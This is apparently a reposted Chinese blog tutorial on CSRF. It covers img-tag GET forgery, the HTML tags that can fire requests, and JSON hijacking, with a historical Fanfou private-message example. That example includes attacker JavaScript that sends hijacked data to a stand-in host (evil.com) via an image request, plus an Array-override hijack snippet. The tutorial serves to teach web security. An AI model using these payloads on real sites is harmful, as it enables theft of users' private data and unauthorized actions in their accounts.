zoukankan      html  css  js  c++  java
  • CSRF学习小结

    什么是CSRF

    CSRF,全称是Cross Site Request Forgery,也即跨站请求伪造。对于CSRF来说,它的请求有两个关键点:跨站点的请求和请求是伪造的。

    跨站点的请求的来源是其他站点,当然恶意的请求也有可能来自本站,目标网站应该区分请求来源。如果请求的发出不是用户的意愿,那么这个请求就是伪造的。

    一个场景

    目标网站a:www.a.com

    恶意网站b:www.b.com

    两个域不一样,目标网站a上有一个删除文章的功能,通常用户单击“删除链接”时才会删除指定的文章,这个链接是www.a.com/blog/del?id=1,id号代表不同的文章。

    如果目标网站a上存在一个XSS漏洞,执行的js脚本无同源策略限制,就可以按下面的方式来删除文章。

    • 使用ajax发出get请求,请求值是id=1,请求目标地址是www.a.com/blog/del。
    • 或者动态创建一个标签对象(如img、iframe、script)等,将它们的src指向这个链接www.a.com/blog/del?id=1,发出的也是get请求。
    • 然后欺骗用户访问存在xss脚本的漏洞页面(的目标网站a上),则攻击发生。

    如果不用这种方式,或者目标网产a根本不存在xss漏洞,那么我们可以考虑csrf的思路,来删除文章:

    • 在恶意网站B上编写一个csrf页面(www.b.com/csrf.htm),想想有什么办法可以发出一个get请求到目标网站上?
    • 利用ajax是不可以的,它禁止跨域传输数据。
    • 用代码<img src=http://www.a.com/blog/del?id=1/>。
    • 然后欺骗(QQ,微博,邮箱等)已经登录目标网站a的用户访问www.b.com/csrf.htm页面,则攻击发生。

    这个攻击过程的三个关键点:跨域发出了一个get请求、可以无javascript参与、请求是身份认证后的。

    有何危害

    • 篡改目标网站上的用户数据
    • 盗取用户隐私数据
    • 作为其他攻击向量的辅助攻击手法
    • 传播csrf蠕虫

    CSRF类型

    按照攻击方式主要可以分为:HTML CSRF攻击、JSON HiJacking攻击和Flash CSRF攻击(这里略)。

    1、HTML CSRF攻击

    同样是上面那个场景,发起的CSRF请求都属于HTML元素发出的,这一类是最普遍的CSRF攻击。

    HTML中能够设置src/href等链接地址的标签都可以发起一个get请求:

    <link href="">、<img src="">、<img lowsrc="">、<img dynsrc="">、<meta http-equiv="refresh" content="0:url=">、<iframe src="">、<frame src="">、<script src="">、<bgsound src="">、<embed src="">、<video src="">、<audio src="">、<a href="">、<table background="">

    ...

    还有CSS样式中的:

    @import ""、background:url("")

    当然,还有通过javascript动态生成的标签或css对象发起的get请求,而发出post请求只能通过form提交方式。

    2、JSON HiJacking攻击

    JSON HiJacking的攻击过程是CSRF,是对ajax响应中最常见的json数据类型进行的劫持攻击。很多时候,网站发出的ajax请求,响应回来的数据是json格式,有以下两种格式.

    1)字典格式

    {

    "id":1,

    ""name":"foo",

    "email":foo@gmail.com,

    }

    2)列表格式

    ["foo","xoo","coo"]

    json数据如果以字典形式返回,直接在浏览器中显示会报错,原因是浏览器以为"{"开头的脚本应该是一段左右花括号包围住的代码块,所以,我们一般会这样处理:

    eval("("+json_data+")");//前后加上圆括号

    对于使用列表形式返回的json数据,它是一个array对象,以前可以通过劫持array数据来进行json hijacking攻击,但是现在已经不行了。

    一个以前饭否的json hijacking案例:

    饭否的private_message API可以显示用户私信内容,官方描述如下:

    显示用户收到的私信:

    路径:http://api.fanfou.com/private_messages/inbox.[json|xml]

    参数:count(可选)-私信数,范围1-20,默认为20

    示例:http://api.fanfou.com/private_message/inbox.xml?count=10

    callback(可选)-javascript函数名,使用json格式时可用,将json对象作为参数直接调用。

    示例:http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses

    我们使用json格式的数据返回,并且callback函数可以自定义。接着自定义一个json hijacking页面,包含如下javascript代码:

    <script>
        function hijack(o){//自定义的劫持函数
            var i=0;
            var data="";
            for(i;i<2;i++){
                //alert(o[i].text);
                data+=o[i].sender_id;
            }
            alert(data);
            new Image().src="http://wwww.evil.com/jsonhijack.php?hi="+escape(data);//将获取到的隐私数据上传到攻击者服务器上
        }
    </script>
    <script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=3>
    </script><!--api调用中使用的callback函数为hijack-->

    当登录饭否的用户被欺骗访问这个页面时,其隐私将暴露无遗。第一个<script>标签内的脚本是我们自定义的劫持函数hijack,第二个<script>标签加载远程js文件,即饭否的private_message API,这个加载过程实际上是发了一个CSRF GET请求,请求带上了登录用户的Cookie身份认证信息。返回的数据如下:

    hijack([{
        "id":585904,
        "text":"...",
        "sender_id":"Salina_Wu",
        "recipient_id":"ycosxhack",
        "created_at":Sat May 31 05:00:01 +0000 2008",
        "sender_screen_name":"LOLO",
        "recipient_screen_name":"余弦"},{
        "id":324234,
        "text":"...",
        "sender_id":"xssis",
        "recipient_id":"ycosxhack",
        "created_at":Sat May 11 05:00:01 +0000 2008",
        "sender_screen_name":"xssis",
        "recipient_screen_name":"余弦"
    }])

    由于hijack函数被预先劫持而定义,并且第二个<script>标签内的远程js文件返回的数据被当作javascript代码而被解析执行,这时就会执行这个hijack函数,参数就是上面hijack()中的这段json数据。

    如果饭否API不允许自定义callback函数,返回的数据内容如下:

    [{
        "id":585904,
        "text":"...",
        "sender_id":"Salina_Wu",
        "recipient_id":"ycosxhack",
        "created_at":Sat May 31 05:00:01 +0000 2008",
        "sender_screen_name":"LOLO",
        "recipient_screen_name":"余弦"},
        //其余省略...
    }]

    返回结果是一个Array对象,我们曾经可以通过在加载待劫持的js文件之前,先劫持住Array对象,如:

    <script>
    var jackobj;
    Array=function(){
        jackobj=this;
    }
    </script>
    <script src="http://api.fanfou.com/private_messages/inbox.json"></script>
  • 相关阅读:
    Codeforces 845E Fire in the City 线段树
    Codeforces 542D Superhero's Job dp (看题解)
    Codeforces 797F Mice and Holes dp
    Codeforces 408D Parcels dp (看题解)
    Codeforces 464D World of Darkraft
    Codeforces 215E Periodical Numbers 容斥原理
    Codeforces 285E Positions in Permutations dp + 容斥原理
    Codeforces 875E Delivery Club dp
    Codeforces 888F Connecting Vertices 区间dp (看题解)
    Codeforces 946F Fibonacci String Subsequences dp (看题解)
  • 原文地址:https://www.cnblogs.com/aaron-shu/p/4105154.html
Copyright © 2011-2022 走看看